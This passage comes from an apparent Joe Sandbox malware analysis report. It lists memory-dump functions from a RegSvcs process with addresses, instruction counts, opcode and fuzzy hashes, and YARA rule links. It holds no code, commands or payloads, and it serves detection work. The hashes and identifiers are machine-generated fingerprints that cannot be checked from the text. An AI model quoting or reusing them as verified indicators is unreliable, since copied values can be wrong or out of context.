Instruction ID: 198784bd5139915ce559e09f0c5bd78b9accb5432d3ff35defdf8e58d4f245be
Opcode Fuzzy Hash: a65ae8dd21341b404311e77712d9fe9621bddda4f466abb4371d25ad066946c1
Instruction Fuzzy Hash: 9C626A34A00209DFDB54DB68D994AEDB7F2EF88314F149469D406EB394DB35ED82CB90

Function 066BC238 Relevance: .6, Instructions: 648
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17290c34f321d19b9d90ebff7f70f34b244748ed2afbbc4ad36a65c446946cdb
Instruction ID: 6d99b0678f1fef5523cbdf595abca3a07c57e219cd6cc4e89ccb3aa6c0e3cd5e
Opcode Fuzzy Hash: 17290c34f321d19b9d90ebff7f70f34b244748ed2afbbc4ad36a65c446946cdb
Instruction Fuzzy Hash: 54326C30B10209DFDB54DB68D990BEEB7B2FB88314F10952AE505EB355DB31ED828B91

Function 066BB2E8 Relevance: .6, Instructions: 587COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f7d025cbf87bd10f160a3ea84cf274ab9739d23ae77f5b486ab737e97c7474b
Instruction ID: 66f35761b6ba56849939a6d3b893ef953da067aca2ecf607a7a21f9a002182f5
Opcode Fuzzy Hash: 6f7d025cbf87bd10f160a3ea84cf274ab9739d23ae77f5b486ab737e97c7474b
Instruction Fuzzy Hash: 28226C30E10209DFEF64DBA8D590BEEB7A2EB85310F649426E405EB395DF35DC818B51

Function 066B3138 Relevance: .5, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2aa021318147e96ecd0a9448a8140dad43fba0f143e9eab2355e4dbf8845f5c8
Instruction ID: 069f60d11568bc9e6529895d7e8fec9e1458de4b61677f7eafda45493f86c4d0
Opcode Fuzzy Hash: 2aa021318147e96ecd0a9448a8140dad43fba0f143e9eab2355e4dbf8845f5c8
Instruction Fuzzy Hash: DC321E30E1061ACFDB14EF65C85069DB7B2FFC9300F1496AAD449AB314EB71A985CB80

Function 066B7E48 Relevance: .5, Instructions: 476
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69bbb73b918ab1a280419c66f46500c66d75d1957e2059ea2ba8dc54f418e2ed
Instruction ID: 9543c0d577b662c92a13fa1d8f92753da9099a6748065e7c8e57e41be05320e8
Opcode Fuzzy Hash: 69bbb73b918ab1a280419c66f46500c66d75d1957e2059ea2ba8dc54f418e2ed
Instruction Fuzzy Hash: 62029C30B0021ADFDB58DF68D950BAEB7A6FF84314F149529D4169B394DB36ED82CB80

Function 02B7EC28 Relevance: 1.6, APIs: 1, Instructions: 137
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000F.00000002.3874035352.0000000002B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2b70000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 538178d5a41d3a2aeae96bddac044365a7fd14037062a4ad2e0855364b42b626
Instruction ID: 5a18a8d6507b94a0d6f4994e2c43eee944e7a052e35b9fb66719da1d4765932e
Opcode Fuzzy Hash: 538178d5a41d3a2aeae96bddac044365a7fd14037062a4ad2e0855364b42b626
Instruction Fuzzy Hash: D4411572D047999FC715CFB9D8007AEBFF5EF89210F1585AAE414A7240DB749884CBE1

Function 02B7ED10 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32 ref: 02B7ED77

Memory Dump Source

Source File: 0000000F.00000002.3874035352.0000000002B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2b70000_RegSvcs.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: bfdee2ac2dee90de45e76bf944777627b513612c90773a324641cf7c8d68e4d6
Instruction ID: 6e78216f66c4fca79ebf692ed380838f7c30dd3d3f0b1189e65ed9c1037a8c50
Opcode Fuzzy Hash: bfdee2ac2dee90de45e76bf944777627b513612c90773a324641cf7c8d68e4d6
Instruction Fuzzy Hash: AB11E2B2C00659DBDB10DFAAD844B9EFBF4AF48324F15816AD818B7240D378A945CFA5

Function 066BD000 Relevance: .8, Instructions: 798
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3f47958b9e93a71b577a66efd0c88cfb1651a48240a779740799f34af5188a0
Instruction ID: f1ef52b3c9cd6631385babf5c12a6ff701ba68e8daba25e870b19855528ff25b
Opcode Fuzzy Hash: e3f47958b9e93a71b577a66efd0c88cfb1651a48240a779740799f34af5188a0
Instruction Fuzzy Hash: BE626230A0030ACFDB55EF68D690A9EB7B2FF84714B148969D0159F759EB31ED46CB80

Function 066BB700 Relevance: .5, Instructions: 472
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58250cd344cdb2b77370f2851de00b14af42c4ce90b024f2a62d131c9763f08f
Instruction ID: 63876cfe44be2afd0285b954c5dc4a7f73bcb9d5b9bf03e70c87adb4f93be0f3
Opcode Fuzzy Hash: 58250cd344cdb2b77370f2851de00b14af42c4ce90b024f2a62d131c9763f08f
Instruction Fuzzy Hash: 66027930E1020ADFDBA4DBA8D5906EDB7A2FB85310F24946AE415EB351DF71EC81CB91

Function 066BAD90 Relevance: .4, Instructions: 391COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3a303ceeb0f1f593e67c274ff86cfee87b89ae9fe4a2158a900bd84722ef3bf
Instruction ID: 73d8f5897ac323080b4d7e7b4c94d6f4fdb86a0cffd3a8cdaf4829d8260ac0d0
Opcode Fuzzy Hash: d3a303ceeb0f1f593e67c274ff86cfee87b89ae9fe4a2158a900bd84722ef3bf
Instruction Fuzzy Hash: 50E16C30E1020ACFDB68DFA8D5906EEB7B2FFC5614F10952AD416AB344DB71D886CB91

Function 066B9210 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22ea84e4fdd589d6b550d7d9a32ad2670a50640b3b14be0ce2d105c4da79e666
Instruction ID: 0020abf997f99a0f69ea1308a46e227e00fed7d72621292ba1308a02b68b605e
Opcode Fuzzy Hash: 22ea84e4fdd589d6b550d7d9a32ad2670a50640b3b14be0ce2d105c4da79e666
Instruction Fuzzy Hash: 1B915D30F1020ACFDB64DB68D9507AEB3F2EFC9304F549566C909AB744EB719D828B91

Function 066B62B8 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0bcc944a581dc7fe1e2f27103f105bb3c3ea19243ad0b56548c4e0801f5d01d
Instruction ID: 72cf81c20f864759ead1f24a56b13bcefe9e5ae3715b29184c40788fc5a6e9d6
Opcode Fuzzy Hash: c0bcc944a581dc7fe1e2f27103f105bb3c3ea19243ad0b56548c4e0801f5d01d
Instruction Fuzzy Hash: 7261F371F001218BDF549B7EC984AAEFAE7AFC4620B155439D80ADB360DEB5EC0287D1

Function 066B4378 Relevance: .2, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26ed89e787afa37a4527572b9c76a7daa0b5b712d6b5df7ecbcefe4068d6bf04
Instruction ID: 8a7b421a88dfc4214743e92d1ddb1dbee8ece67d328338fb2c595dc0cb447eb6
Opcode Fuzzy Hash: 26ed89e787afa37a4527572b9c76a7daa0b5b712d6b5df7ecbcefe4068d6bf04
Instruction Fuzzy Hash: E0813930B00209CFDF54DFA9D5547AEB7E2AB89314F149529D40AEB399EF31DC828B51

Function 066B4694 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e03d639711818d8a17acb9340fe238ecd0bc80bc8443afc9fa5054fc7c58061a
Instruction ID: 15cd46a088c90886c27a1efe09e316161bfa621e512f7d139c5cf290f9f5a3bd
Opcode Fuzzy Hash: e03d639711818d8a17acb9340fe238ecd0bc80bc8443afc9fa5054fc7c58061a
Instruction Fuzzy Hash: 8E914E30E10619CBDF64DF68C850BD9B7B1FF89310F2086A9D449AB345DB71A985CF90

Function 066B46A8 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30f7794ea8cac4ab16f1ddb0c25cbeb059c8c23fc76da39ea413441bfcc307f2
Instruction ID: 6d42d5b20db9f4e1c356f82317ac93c31a33b1f198749e73132504f21799e9e9
Opcode Fuzzy Hash: 30f7794ea8cac4ab16f1ddb0c25cbeb059c8c23fc76da39ea413441bfcc307f2
Instruction Fuzzy Hash: 43913C30E10219CBDF60DF68C840BD9B7B1FF89310F2085A9D549AB345DB71A985CF90

Function 066BEBC0 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6284abc986c959f37a2ff6d93d8bf0e48f4b9d7420bab435dd78ecde9e65048
Instruction ID: f265b68fbf613642c510f05b33d456ecea600cefae288cd1d77a4b2fb75ca19b
Opcode Fuzzy Hash: e6284abc986c959f37a2ff6d93d8bf0e48f4b9d7420bab435dd78ecde9e65048
Instruction Fuzzy Hash: BF711930A00209DFDB54EFA8D980AEDBBF6FF88314F149529D415AB359DB71E886CB50

Function 066BEBD0 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf168416ce80da965fb4928636e50391d87139493a5cf9dbfc2a6176bf201998
Instruction ID: 1eee41a44ef7e8bd468c88001af3de0615d612a50e795932ab7df1f13cc5f80d
Opcode Fuzzy Hash: bf168416ce80da965fb4928636e50391d87139493a5cf9dbfc2a6176bf201998
Instruction Fuzzy Hash: 3D712930A002099FDB54EFA8D980AEDBBF6FF88314F149429D415EB359DB71E886CB50

Function 066B4C40 Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3499b6ae4110c54dfe24e4fdc4a352b0214716345a8f6e596e73e8fefc3997e0
Instruction ID: 81224be8f9a5293422214a61640b91484a5c0e49514e33201ce457c9d696bcc0
Opcode Fuzzy Hash: 3499b6ae4110c54dfe24e4fdc4a352b0214716345a8f6e596e73e8fefc3997e0
Instruction Fuzzy Hash: ED615C30F10209DFEB549FA8D8547AEBAF6FB88710F20842AD516AB399DF754C458B90

Function 066BFD30 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30924619bc097c5a7a4877eab691ab917ec19adc444e7dcb7ab1fa8f7003231c
Instruction ID: 0447dd4b1854791ce93be46b1af6a12debc2e0c27be58b4c258073014afccd20
Opcode Fuzzy Hash: 30924619bc097c5a7a4877eab691ab917ec19adc444e7dcb7ab1fa8f7003231c
Instruction Fuzzy Hash: F551D231E00105DFDB64EB78E9846EDF7B2EB89314F10887AE11ADB364DB318995CB80

Function 066B9200 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e810bfde729982b8b14f51a4bf15c1c3636b99c1e988bcb4d1e029f4499cf41f
Instruction ID: b3e5f0a575e70871c233cc22906aed673776a0f8b96eab86b09f94357283bd3e
Opcode Fuzzy Hash: e810bfde729982b8b14f51a4bf15c1c3636b99c1e988bcb4d1e029f4499cf41f
Instruction Fuzzy Hash: A4516D30B10105CFDB54EB68D960BAEB3F6EBC9304F14957AD509EB358EB319C428BA1

Function 066BFADF Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 810c09da26572a317f891f76fe2885bd8a461302242e92200edb216dbee360a1
Instruction ID: 3a0737a82424d4f8e148f160a60586008981cea05ce533df83ecd7d5086db167
Opcode Fuzzy Hash: 810c09da26572a317f891f76fe2885bd8a461302242e92200edb216dbee360a1
Instruction Fuzzy Hash: A2517230B10214CBEFA467ACED547AF365AD789714F60452AE50AC77A9CF39CCC18792

Function 066BFAF0 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c3299e78035e8aa84f83c9186b995529d837c201925c94d3d949a09c69a2468
Instruction ID: 086219a0aa076c891a11f43f070bb664312e550aca490021323e161b478d89fa
Opcode Fuzzy Hash: 1c3299e78035e8aa84f83c9186b995529d837c201925c94d3d949a09c69a2468
Instruction Fuzzy Hash: F3518130B10214CBEFA467ACEE547AF325AD789714F60542AE50AC77A5CF79CCC187A2

Function 066B4C31 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc7145ef79396c1612b619c66d6f987117e0697ae4d1f7df8efa5db5de592fbf
Instruction ID: 9c7cead9ba809d3050fc8e395d1f4d2532124093370cb2c7fc0e6df899e91148
Opcode Fuzzy Hash: bc7145ef79396c1612b619c66d6f987117e0697ae4d1f7df8efa5db5de592fbf
Instruction Fuzzy Hash: 86418030F102099FDB549FA9C814BAEBAF6FF88700F208529E106AB398DF754C45CB90

Function 066B54E8 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35c1f30b51f52ef4ed1b11aa620fcb2a63dd0f22f9931379c02b1f8eaaedf771
Instruction ID: 54546a4c5ed42ba0723387db679de57ad1e59fab42b6dd1b0b52b671e47bfae9
Opcode Fuzzy Hash: 35c1f30b51f52ef4ed1b11aa620fcb2a63dd0f22f9931379c02b1f8eaaedf771
Instruction Fuzzy Hash: 04417272E00609CFDF70CEAAD880AEFFBB6FB45210F10592AD156D7650D731E9858B91

Function 066BDB75 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aac5aed2fc4fb78c1f34de7f685458bcb05dba0b2aac9433a9430e64b377d3e7
Instruction ID: 3c3ae31276251641f6eaa1922491a2897231d68d6218f45acb7fee0bf827e18d
Opcode Fuzzy Hash: aac5aed2fc4fb78c1f34de7f685458bcb05dba0b2aac9433a9430e64b377d3e7
Instruction Fuzzy Hash: A5419D70E0030ADFDB64DFA4D844AEEBBB6BF85644F208529E415EB344DB71D882CB91

Function 066B229D Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8027540c25a439ca67695d404bf3cdcca2dc90143c40b94bdf1d7eb0e1862a1a
Instruction ID: 9749d0e15e7c089d55c8b537bb58c2670f68421b6b11f723047dc0d143f06477
Opcode Fuzzy Hash: 8027540c25a439ca67695d404bf3cdcca2dc90143c40b94bdf1d7eb0e1862a1a
Instruction Fuzzy Hash: A2310330B00206CFDB58AB74D5646AE7BE6BB89610F148578D402DB398DF36CD82CB91

Function 066B22B0 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4bb2870372def2856daa7061060df3a0f02312c5a080f7ed28494531ad0df07
Instruction ID: 413ee435987da2097c66d6682573e8c7658459fd5a2a64dd011a64ff390adeb6
Opcode Fuzzy Hash: f4bb2870372def2856daa7061060df3a0f02312c5a080f7ed28494531ad0df07
Instruction Fuzzy Hash: 7131CF30B00206CFDB58AB78D5246AF77E6BB88614F209578D416DB358DF36DD82CB91

Function 066B2160 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67330d07984e009ce3708988b0d0fa9b88fee17ce73a195f622075aeed41f1fb
Instruction ID: dbc56baf71c99eada2a2796d92e12640a6516e5e022418e5657c0a237e7f6466
Opcode Fuzzy Hash: 67330d07984e009ce3708988b0d0fa9b88fee17ce73a195f622075aeed41f1fb
Instruction Fuzzy Hash: 6B318135E1020ADBCB55CFA4C8646EEBBF6BF89310F148529E916EB340DB71AD42CB40

Function 066B5660 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2581e5ffe54e6266610a17fb7dbd8fe24baddbc3c39a974a41fdf89abdc4143b
Instruction ID: cebe58e1450b65215c4ea306c37fa2ace796cd56a22dfe6db69cd67ce92ab372
Opcode Fuzzy Hash: 2581e5ffe54e6266610a17fb7dbd8fe24baddbc3c39a974a41fdf89abdc4143b
Instruction Fuzzy Hash: 89319234E10205CFDF708FA9C880AEEBBB2FB45210F10982AE556DB391D675D981DB91

Function 066B2170 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 893a00c1df04b9fea2f175f93338a8fbc3ed72ba236c1a933b33800ac37990b1
Instruction ID: 105389daff06a5f9af9486033f378ccbdd3dc90c2d47a9e8e610944b2990533e
Opcode Fuzzy Hash: 893a00c1df04b9fea2f175f93338a8fbc3ed72ba236c1a933b33800ac37990b1
Instruction Fuzzy Hash: B8318334E1020ADBCB55CF64D8646AEB7F6BF89700F148529E906EB340DB71ED82CB40

Function 066B3B79 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 369d82e9beede89e9ecf026b43c2cc68155d8a06a2443ca555c3e2c9aacd3f60
Instruction ID: ebab3a4b5c41b10fd6d9e27724baef39510f03f6f0b7de36379f264dcc389948
Opcode Fuzzy Hash: 369d82e9beede89e9ecf026b43c2cc68155d8a06a2443ca555c3e2c9aacd3f60
Instruction Fuzzy Hash: F2217575F11619DFDB90DFA9E940AEEBBF5EB88310F108025E905E7384EB31D9818B90

Function 066B3B88 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d27cd6f4e80534885daefb2e4c44799d5055a9a52656ed07e3abf36a0722773b
Instruction ID: 429aa774783b9961a364833d2e5b214ea209d33d4cff4411d8ff1bdab9e2ee5e
Opcode Fuzzy Hash: d27cd6f4e80534885daefb2e4c44799d5055a9a52656ed07e3abf36a0722773b
Instruction Fuzzy Hash: B2216675F01619DFDB90DFA9D980AEEBBF1EB88710F109029E905E7354EB31D9418B90

Function 0112D3BC Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3873577256.000000000112D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0112D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_112d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 110805b16de8850a9b129fa6e611fbd689ee18c7eaa2c2f2d9cca8dec480fd66
Instruction ID: a283207fb1812c723096d9cb098cecb70e4c8281c8c3d925e66c28a4b05d92ff
Opcode Fuzzy Hash: 110805b16de8850a9b129fa6e611fbd689ee18c7eaa2c2f2d9cca8dec480fd66
Instruction Fuzzy Hash: 222107B1504384DFDF09DF54E9C0B26BB65FB84314F24C56DD8094B686C376E456CA62

Function 0112D044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3873577256.000000000112D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0112D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_112d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2fa34128fa416856d59e0296f18d6cb9f1d4770b1f2fb4b16736934b9f22f88
Instruction ID: 987777c755d43fb183947033a7be2ab09809280f5ed4596394178ae06b1ad4a4
Opcode Fuzzy Hash: a2fa34128fa416856d59e0296f18d6cb9f1d4770b1f2fb4b16736934b9f22f88
Instruction Fuzzy Hash: 11210471504304EFDF19DFA4E9C0B26BB65FB84314F24C5ADE8494B262C73AD866CA62

Function 0112D20C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3873577256.000000000112D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0112D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_112d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9198eeb5507beafd0697fd12a7bd296df724220e6d3440429f74ee47174bbf3d
Instruction ID: 811ab1ebc4ecb9818fffd24e798ae506504dc0b8b9c2f3cf02b7b0d25c1e7506
Opcode Fuzzy Hash: 9198eeb5507beafd0697fd12a7bd296df724220e6d3440429f74ee47174bbf3d
Instruction Fuzzy Hash: 752135B2504344EFDF09DF94E8C4B26BB65FBC5334F24C669E8490B242C376D826CA62

Function 066B3C98 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4beedb0da0d3adb9c329fffef7556926e279b4a094ba02ecaa3e56c838d5d056
Instruction ID: 7051646e514c393ab49d823637a5132ea94409f7359b51871d8a64ec38f0605c
Opcode Fuzzy Hash: 4beedb0da0d3adb9c329fffef7556926e279b4a094ba02ecaa3e56c838d5d056
Instruction Fuzzy Hash: 6B115E31B101299FDF549A69D8146FE73EAEBC8710B144539D506EB354EB25DC028BD1

Function 066B3951 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3e3d55025b646a592874c6ec4e6b981d54edb1511d56300b39df1b109ddeffe
Instruction ID: 00c7afcd28c12d9a951749d2abb130a2e06aaa1237f8b295abc826a6314e1400
Opcode Fuzzy Hash: a3e3d55025b646a592874c6ec4e6b981d54edb1511d56300b39df1b109ddeffe
Instruction Fuzzy Hash: 7221DEB5901619EFCB00DF9AD884ACEFBB8FB48224F10822AE518A7340D7756944CBA5

Function 066BEE3F Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

